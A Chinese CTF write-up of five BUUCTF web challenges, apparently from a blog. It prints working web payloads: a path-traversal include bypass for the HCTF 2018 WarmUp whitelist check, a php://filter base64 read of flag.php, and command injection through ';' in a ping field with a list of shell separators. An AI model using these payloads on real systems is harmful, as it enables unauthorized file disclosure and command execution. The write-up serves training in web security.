BUUCTF刷题-Web方向1~5wp

[极客大挑战 2019]EasySQL

一个sql注入登录框,直接万能密码登录

拿到flag

[极客大挑战 2019]Havefun

打开环境,没有任何信息,查看源码,发现这么一段代码

GET方式 传入一个cat 请求,并且变量值为dog ,即**?cat=dog**,得到flag

[HCTF 2018]WarmUp

打开环境,是一张图片,查看源码发现source.php目录

访问该目录,并对源码进行分析

php 复制代码
<?php
    highlight_file(__FILE__);                 //代码高亮表示
    class emmm
    {
        public static function checkFile(&$page)     //检查$page变量
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];   //设置白名单suorce.php hint.php
            if (! isset($page) || !is_string($page)) {        //如果$page为空或者非字符串,则输出"you can't see it"
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {            //如果$page包含白名单,则返回true
                return true;
            }

            $_page = mb_substr(             //提取从$page开始的字符串,0 ~ mb_strpos返回的结果
                $page,
                0,
                mb_strpos($page . '?', '?')    //返回第一次出现?的索引位置(从1开始),如果没有则在末尾补一个(从0开始)
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])                 //传入一个file参数并且不为空
        && is_string($_REQUEST['file'])            //检查是否是字符串
        && emmm::checkFile($_REQUEST['file'])       //在checkFile函数检查
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

查看hint.php

pyload:

php 复制代码
source.php?file=source.php?./../../../../ffffllllaaaagggg       
source.php?file=hint.php?./../../../../ffffllllaaaagggg       

/ 代表根目录,../ 代表上一级目录 ,./ 代表当前目录

[ACTF2020 新生赛]Include

打开环境有个tips ,点进去,该页面有用的信息只有file传参点

查看源码,抓包都无有用信息,故利用file传参点 尝试,结合题目名称可能是file伪协议

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=flag.php

得出一段base64编码,解码一下

[ACTF2020 新生赛]Exec

打开环境是一个ping命令框,先随便ping一下ip

利用 ; 截断,然后查找flag

常见管道符:

php 复制代码
; : 无论前面是否执行,后面都执行
||(逻辑或):前命令失败执行后命令,如果前命令成功则不执行后命令
| :前者结果作为后者参数使用
&& :前命令成功执行后命令,如果失败则不执行后命令
相关推荐
柴郡猫^O^3 小时前
OSCP - Proving Grounds - Quackerjack
安全·网络安全·安全性测试
安全无极限5 小时前
99%的人不知道,桥接模式失败的真正原因是它!
web安全·网络安全·桥接模式
知白守黑V5 小时前
解密堡垒机:安全与效率的守护者
网络安全·系统安全·堡垒机·业务安全·等保合规·it管理·安全运维管理
索然无味io5 小时前
XML外部实体注入--漏洞利用
xml·前端·笔记·学习·web安全·网络安全·php
马船长10 小时前
青少年CTF练习平台 贪吃蛇
网络安全
qq_2430507913 小时前
Netmask:网络掩码生成和转换程序!全参数详细教程!Kali Linux 教程!黑客渗透测试!
运维·网络·web安全·网络安全·黑客·渗透测试·kali linux
YesYoung!1 天前
pikachu靶场-敏感信息泄露概述
web安全·网络安全·ctf
廾匸07051 天前
《2024年度网络安全漏洞威胁态势研究报告》
安全·web安全·网络安全·研究报告
万亿少女的梦1681 天前
WEB渗透技术研究与安全防御
开发语言·前端·网络·爬虫·安全·网络安全·php